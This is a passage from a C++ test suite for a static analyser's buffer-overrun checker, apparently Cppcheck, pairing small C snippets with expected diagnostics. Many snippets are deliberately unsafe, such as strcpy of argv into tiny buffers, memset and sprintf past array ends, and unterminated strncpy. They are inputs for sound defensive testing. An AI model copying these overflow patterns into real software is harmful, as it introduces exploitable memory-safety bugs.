which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // statically allocated buffer\n void alloc_string() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *s = \\\"123\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[4]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s; s = \\\"\\\";\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const char *s = \\\"\\\";\\n\"\n \" s = y();\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\" // #7718\n \"{\\n\"\n \" std::string s = \\\"123\\\";\\n\"\n \" s.resize(100);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // data is allocated with alloca\n void alloc_alloca() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char *s = (char *)alloca(10);\\n\"\n \" s[10] = 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 's[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n /*\n void countSprintfLength() const {\n std::list unknownParameter(1, nullptr);\n\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"Hello\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"i\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%d\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%1d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%2.2d\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"f%s\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"%-s\", unknownParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"\\\\\\\"\", unknownParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"Hello \\\\0Text\", unknownParameter));\n ASSERT_EQUALS(1, CheckBufferOverrun::countSprintfLength(\"\\\\0\", unknownParameter));\n ASSERT_EQUALS(2, CheckBufferOverrun::countSprintfLength(\"%%\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"%d%d\", unknownParameter));\n ASSERT_EQUALS(3, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\a%s\\\\0a\", unknownParameter));\n ASSERT_EQUALS(10, CheckBufferOverrun::countSprintfLength(\"\\\\\\\\\\\\\\\\Hello%d \\\\0Text\\\\\\\\\\\\\\\\\", unknownParameter));\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"%%%%%d\", unknownParameter));\n\n Token strTok;\n std::list stringAsParameter(1, &strTok);\n strTok.str(\"\\\"\\\"\");\n ASSERT_EQUALS(4, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n strTok.str(\"\\\"12345\\\"\");\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"str%s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%-5s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%-6s\", stringAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.6s\", stringAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.6s\", stringAsParameter));\n ASSERT_EQUALS(7, CheckBufferOverrun::countSprintfLength(\"%6.6s\", stringAsParameter));\n\n Token numTok;\n numTok.str(\"12345\");\n std::list intAsParameter(1, &numTok);\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%02ld\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08ld\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.2d\", intAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%08.2d\", intAsParameter));\n TODO_ASSERT_EQUALS(5, 2, CheckBufferOverrun::countSprintfLength(\"%x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5x\", intAsParameter));\n ASSERT_EQUALS(5, CheckBufferOverrun::countSprintfLength(\"%.4x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%1.5x\", intAsParameter));\n ASSERT_EQUALS(6, CheckBufferOverrun::countSprintfLength(\"%5.1x\", intAsParameter));\n\n Token floatTok;\n floatTok.str(\"1.12345f\");\n std::list floatAsParameter(1, &floatTok);\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n ASSERT_EQUALS(9, CheckBufferOverrun::countSprintfLength(\"%8.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(5, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter));\n\n Token floatTok2;\n floatTok2.str(\"100.12345f\");\n std::list floatAsParameter2(1, &floatTok2);\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%2.2f\", floatAsParameter2));\n TODO_ASSERT_EQUALS(7, 3, CheckBufferOverrun::countSprintfLength(\"%.2f\", floatAsParameter));\n TODO_ASSERT_EQUALS(7, 5, CheckBufferOverrun::countSprintfLength(\"%4.2f\", floatAsParameter));\n\n std::list multipleParams = { &strTok, nullptr, &numTok };\n ASSERT_EQUALS(15, CheckBufferOverrun::countSprintfLength(\"str%s%d%d\", multipleParams));\n ASSERT_EQUALS(26, CheckBufferOverrun::countSprintfLength(\"str%-6s%08ld%08ld\", multipleParams));\n }\n */\n\n // extracttests.disable\n\n void minsize_argvalue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).severity(Severity::warning).build();\n settings.platform.sizeof_wchar_t = 4;\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[10];\\n\"\n \" mymemset(c, 0, 11);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" char a[5];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s;\\n\"\n \" mymemset(s.a, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (error) Buffer is accessed out of bounds: s.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char s[10];\\n\"\n \" mymemset(s, 0, '*');\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (warning) The size argument is given as a char constant.\\n\"\n \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", \"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: s [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #836\n check(\"void f(void) {\\n\"\n \" char a[10];\\n\"\n \" mymemset(a+5, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // Ticket #909\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char str[] = \\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 5);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 21);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" wchar_t str[] = L\\\"abcd\\\";\\n\"\n \" mymemset(str, 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1659 - overflowing variable when using memcpy\n check(\"void f(void) {\\n\"\n \" char c;\\n\"\n \" mymemset(&c, 0, 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // ticket #2121 - buffer access out of bounds when using uint32_t\n check(\"void f(void) {\\n\"\n \" unknown_type_t buf[4];\\n\"\n \" mymemset(buf, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3124 - multidimensional array\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 5 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 6 * 6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" char b[5][6];\\n\"\n \" mymemset(b, 0, 31);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Buffer is accessed out of bounds: b [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // #4968 - not standard function\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" foo.mymemset(str, 0, 100);\\n\"\n \" foo::mymemset(str, 0, 100);\\n\"\n \" std::mymemset(str, 0, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", \"\", errout_str());\n\n // #5257 - check strings\n check(\"void f() {\\n\"\n \" mymemset(\\\"abc\\\", 0, 20);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (error) Buffer is accessed out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" mymemset(temp, \\\"abc\\\", 4);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #6816 - fp when array has known string value\n \" char c[10] = \\\"c\\\";\\n\"\n \" mymemset(c, 0, 10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_sizeof() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[7];\\n\"\n \" mystrncpy(c, \\\"hello\\\", 7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" mystrncpy(c,\\\"hello\\\",6);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[6];\\n\"\n \" mystrncpy(c,\\\"hello!\\\",7);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned int addr) {\\n\"\n \" memset((void *)addr, 0, 1000);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings0));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { char a[10]; };\\n\"\n \"void foo(AB *ab) {\\n\"\n \" mystrncpy(x, ab->a, 100);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a(char *p) { mystrncpy(p,\\\"hello world!\\\",10); }\\n\" // #3168\n \"void b() {\\n\"\n \" char buf[5];\\n\"\n \" a(buf);\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:1]: (error) Buffer is accessed out of bounds: buf\\n\",\n \"\",\n errout_str());\n }\n\n void minsize_strlen() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" false\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n // formatstr..\n check(\"void f() {\\n\"\n \" char str[3];\\n\"\n \" mysprintf(str, \\\"test\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%s\\\", \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"int getnumber();\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"%d: %s\\\", getnumber(), \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", \\\"\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *str = new char[5];\\n\"\n \" mysprintf(str, \\\"abcde\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Buffer is accessed out of bounds: str [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"34\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int condition) {\\n\"\n \" char str[5];\\n\"\n \" mysprintf(str, \\\"test%s\\\", condition ? \\\"12\\\" : \\\"345\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // ticket #900\n check(\"void f() {\\n\"\n \" char *a = new char(30);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"void f(char value) {\\n\"\n \" char *a = new char(value);\\n\"\n \" mysprintf(a, \\\"a\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n // This is out of bounds if 'sizeof(ABC)' is 1 (No padding)\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo));\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error, inconclusive) Buffer is accessed out of bounds: x.a\\n\", \"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo *x = malloc(sizeof(Foo) + 10);\\n\"\n \" mysprintf(x->a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { char a[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Foo x;\\n\"\n \" mysprintf(x.a, \\\"aa\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Buffer is accessed out of bounds: x.a [bufferAccessOutOfBounds]\\n\", errout_str());\n\n check(\"struct Foo {\\n\" // #6668 - unknown size\n \" char a[LEN];\\n\"\n \" void f();\\n\"\n \"};\"\n \"void Foo::f() {\\n\"\n \" mysprintf(a, \\\"abcd\\\");\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void minsize_mul() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 5, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char c[5];\\n\"\n \" myfread(c, 1, 6, stdin);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings));\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Buffer is accessed out of bounds: c [bufferAccessOutOfBounds]\\n\", errout_str());\n }\n\n // extracttests.enable\n\n void unknownType() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" UnknownType *a = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n // extracttests.disable\n void terminateStrncpy1() {\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[99] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" baz[x+1] = '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test with invalid code that there is no segfault\n check(\"char baz[100];\\n\"\n \"strncpy(baz, \\\"var\\\", 100)\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that there are no duplicate error messages\n check(\"void foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" foo(baz);\\n\"\n \" foo(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy2() {\n check(\"char *foo ( char *bar ) {\\n\"\n \" char baz[100];\\n\"\n \" strncpy(baz, bar, 100);\\n\"\n \" bar[99] = 0;\\n\"\n \" return strdup(baz);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'baz' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy3() {\n // Ticket #2170 - false positive\n // The function bar is risky. But it might work that way intentionally.\n check(\"char str[100];\\n\"\n \"\\n\"\n \"void foo(char *a) {\\n\"\n \" strncpy(str, a, 100);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void bar(char *p) {\\n\"\n \" strncpy(p, str, 100);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) The buffer 'str' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy4() {\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"ab\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\"\n \" char buf[4];\\n\"\n \" strncpy(buf, \\\"abcde\\\", 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) The buffer 'buf' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n\n void terminateStrncpy5() { // #9944\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" return;\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& buf) {\\n\"\n \" char v[255];\\n\"\n \" if (buf.size() >= sizeof(v))\\n\"\n \" strncpy(v, buf.c_str(), sizeof(v));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning, inconclusive) The buffer 'v' may not be null-terminated after the call to strncpy(). [terminateStrncpy]\\n\", errout_str());\n }\n // extracttests.enable\n\n void recursive_long_time() {\n // Just test that recursive check doesn't take long time\n check(\"char *f2 ( char *b )\\n\"\n \"{\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \" f2( b );\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" f2(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n // Ticket #1587 - crash\n void crash1() {\n check(\"struct struct A\\n\"\n \"{\\n\"\n \" int alloclen;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" struct A *str;\\n\"\n \" str = malloc(4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void crash2() {\n check(\"void a(char *p) {\\n\"\n \" f( { if(finally_arg); } );\\n\"\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" char arr[64];\\n\"\n \" a(arr);\\n\"\n \"}\");\n }\n\n void crash3() {\n check(\"struct b { unknown v[0]; };\\n\"\n \"void d() { struct b *f; f = malloc(108); }\");\n }\n\n void crash4() { // #8679\n check(\"__thread void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n\n check(\"thread_local void *thread_local_var; \"\n \"int main() { \"\n \" thread_local_var = malloc(1337); \"\n \" return 0; \"\n \"}\");\n }\n\n void crash5() { // 8644 - token has varId() but variable() is null\n check(\"int a() {\\n\"\n \" void b(char **dst) {\\n\"\n \" *dst = malloc(50);\\n\"\n \" }\\n\"\n \"}\");\n }\n\n void crash6() {\n check(\"void start(char* name) {\\n\"\n \"char snapname[64] = { 0 };\\n\"\n \"strncpy(snapname, \\\"snapshot\\\", arrayLength(snapname));\\n\"\n \"}\");\n }\n\n void crash7() { // 9073 - [ has no astParent\n check(\"char x[10];\\n\"\n \"void f() { x[10]; }\");\n }\n\n void insecureCmdLineArgs() {\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2];\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcpy(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if(argc>1)\\n\"\n \" {\\n\"\n \" char buf[2] = {'\\\\0','\\\\0'};\\n\"\n \" char *p = strdup(argv[1]);\\n\"\n \" strcat(buf,p);\\n\"\n \" free(p);\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" char prog[10] = {'\\\\0'};\\n\"\n \" strcat(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, char **argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(int argc, const char *const *const argv, char **envp)\\n\"\n \"{\\n\"\n \" char prog[10];\\n\"\n \" strcpy(prog, argv[0]);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Buffer overrun possible for long command line arguments.\\n\", \"\", errout_str());\n\n check(\"int main(const int argc, const char *const *const argv, const char 